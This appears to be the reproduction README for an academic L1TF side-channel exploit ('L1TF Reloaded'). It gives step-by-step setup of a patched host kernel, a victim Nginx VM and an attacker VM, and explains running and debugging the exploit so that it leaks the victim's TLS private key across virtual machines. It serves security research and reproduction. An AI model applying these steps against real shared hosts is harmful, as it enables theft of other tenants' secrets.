Skylake Server

October 16, 2025 ยท View on GitHub

We assume you have access to a Skylake server running Ubuntu 24.04.

You can for example get access to such a machine via the Chameleon Cloud: https://chameleoncloud.readthedocs.io/en/latest/getting-started/

Install the required packages on the server:

sudo apt-get update
sudo apt install -y locales-all fakeroot git kernel-wedge quilt ccache flex bison libssl-dev dh-exec rsync libelf-dev bc libncurses-dev lz4 liblz4-dev tmux cmake libgmp3-dev debootstrap

And clone our repo:

git clone git@github.com:vusec/rain.git ~/rain

Host Kernel

We start by preparing the host kernel.

mkdir ~/host; cd ~/host

Get Linux kernel v6.12 source code:

git clone --branch v6.12 --depth=1 https://github.com/torvalds/linux.git

Take your current Ubuntu 24.04 kernel config, and disable kernel signature checking:

cd linux
cp /boot/config-6.8.0-64-generic .config
scripts/config -d CONFIG_SYSTEM_REVOCATION_KEYS -d CONFIG_SYSTEM_TRUSTED_KEYS
make olddefconfig

Optionally, if you want to add "helper hypercalls", useful for debugging and exploit development, add them to the host kernel now. For example, apply the patch setup/helper-hc.patch. This would allow you to use HELPERS=1 and LEAK=CHEAT in include/config.h, to run the exploit without L1TF leakage, but with hypercall-reads instead, as a sanity check. Then build the kernel:

make bindeb-pkg -j`nproc`

Install the new kernel:

sudo dpkg -i *6.12*.deb

And reboot into it:

sudo reboot

After reboot, ensure Linux-6.12.0 is running:

uname -r

Also check that you have the default Ubuntu L1TF mitigations, namely SMT on and conditional L1D flushing:

lscpu | grep -i l1tf

Victim VM

Let's create the victim VM. As its kernel we take the same, 6.12 kernel we build for the host. We make the disk 32 GB and put a default (latest stable) Debian installation on it (which was "Trixie" at time of writing).

mkdir ~/victim; cd ~/victim
~/rain/setup/bootstrap-vm.sh --name victim --size 32 --kernel ~/host/linux

Boot the victim VM on two siblings of one physical core (CPU 0's):

./run-vm.sh victim 7777 `cat /sys/devices/system/cpu/cpu0/topology/thread_siblings_list`

Wait a few seconds for the VM to boot up, and then copy over this install script:

scp ~/rain/setup/install_nginx_https.sh victim:~

Login to the victim VM:

ssh victim

And install Nginx, generate a self-signed TLS certificate, and configure Nginx to HTTPS:

./install_nginx_https.sh

Take a look at Nginx's private key of its TLS certificate:

sudo cat /etc/ssl/private/nginx-selfsigned.key

If all goes well, our attacker VM should leak this key from Nginx's memory. Exit the victim VM, to go back to the host:

exit

Attacker VM

For the attacker VM's kernel, we reuse the same linux kernel tree, and we'll install a page fault handler bypass:

cd ~/host/linux
git apply ~/rain/setup/l1tf-pf.patch

Next, we bootstrap the attack VM:

mkdir ~/attacker; cd ~/attacker
cp ~/rain/setup/*-vm.sh .
./bootstrap-vm.sh --name attacker --size 32 --kernel ~/host/linux

Boot the attacker VM on two siblings of another physical core (CPU 1's) than the victim:

./run-vm.sh attacker 7778 `cat /sys/devices/system/cpu/cpu1/topology/thread_siblings_list`

Check that indeed the attacker and victim run on separate physical cores, as is enforced by the core-scheduling mitigation:

taskset -c -p `sudo cat ~/victim/victim.pid`
taskset -c -p `sudo cat ~/attacker/attacker.pid`

Exploit: L1TF Reloaded

SSH into the attack VM:

ssh attacker

And clone the exploit code:

git clone git@github.com:vusec/rain.git
cd rain

Load the required dependencies and install the needed kernel modules:

make load_modules

Ensure include/config.h holds the following configuration:

#define MACHINE LINUX_6_12
#define HELPERS 0
#define LEAK L1TF

Note: if you want a sanity check first, and you have installed helper hypercalls in the host kernel, then you can also first put HELPERS to 1 and LEAK to CHEAT. In include/constants.h, ensure this line defines the correct amount of host physical memory on your system (check with free -h on the host).

#define HOST_MEMORY_SIZE (192 * 1024ULL*1024*1024)

Build the exploit:

make exploit

Run the exploit:

make

This can take hours, hence we recommend running this inside a tmux session or similar. Output of stdout will go to the screen as well as the file std.out, and extra verbose stderr output is saved in the file std.err.

If all goes well, you expect to see something similar to our demo (cf. setup/demo-gce.md), resulting in a leaked private key. To check its correctness, compare it against the true key of the victim's Nginx webserver, located at victim:/etc/ssl/private/nginx-selfsigned.key.

Noise Resilience

Optionally, now rerun the exploit with our noise generation workloads, as described in the paper. The workloads and run-instructions can be found within the noise directory of this repo.

Troubleshooting

The exploit gets stuck at the very first step: leaking the gadget base

Ensure the attacker VM is running its two vCPUs on two sibling hyperthreads of the same physical core.

Also check whether H_MAP_PHYS_MAP is correct, see below how.

The exploit gets stuck at some later point

Check the std.out and std.err files to see where the exploit got stuck.

One reason might be: the host swapped out the victim VM's memory, and therefore it's unable to leak it. This is the case if the exploit gets stuck during a two-dimensional page table walk, at the EPT stage: you'll for example see an EPT-PTE (lowest level page table entry) being zero. The fix for this is to force the page back into memory, by letting the victim VM touch it. For example, try to access the webserver

wget -O /dev/stdout --no-check-certificate https://localhost:443

from within the victim, to let it access its data (and let the host page it in).

Another reason might be that the offsets in include/reverse.h are incorrect. This should not happen if you followed the setup instruction above very carefully, but if something might break in the future: ensure that all those constants are correct. Probably look in particular at the constant(s) being used during/just before the exploit gets stuck, and verify that they match reality. For example, to check the correct value of G_TASK_PARENT, go to ~/host/linux on the host and attach GDB to the kernel image (including debug symbols):

gdb vmlinux

Print the offset of the parent member within a task_struct:

p &(((struct task_struct *)0)->parent)

This is what G_TASK_PARENT should be equal to. Repeat for other problematic structs. Note: in general offsets in the host and victim guest kernel may differ, therefore the exploit defines both H_* (host) and G_* (victim guest) offsets.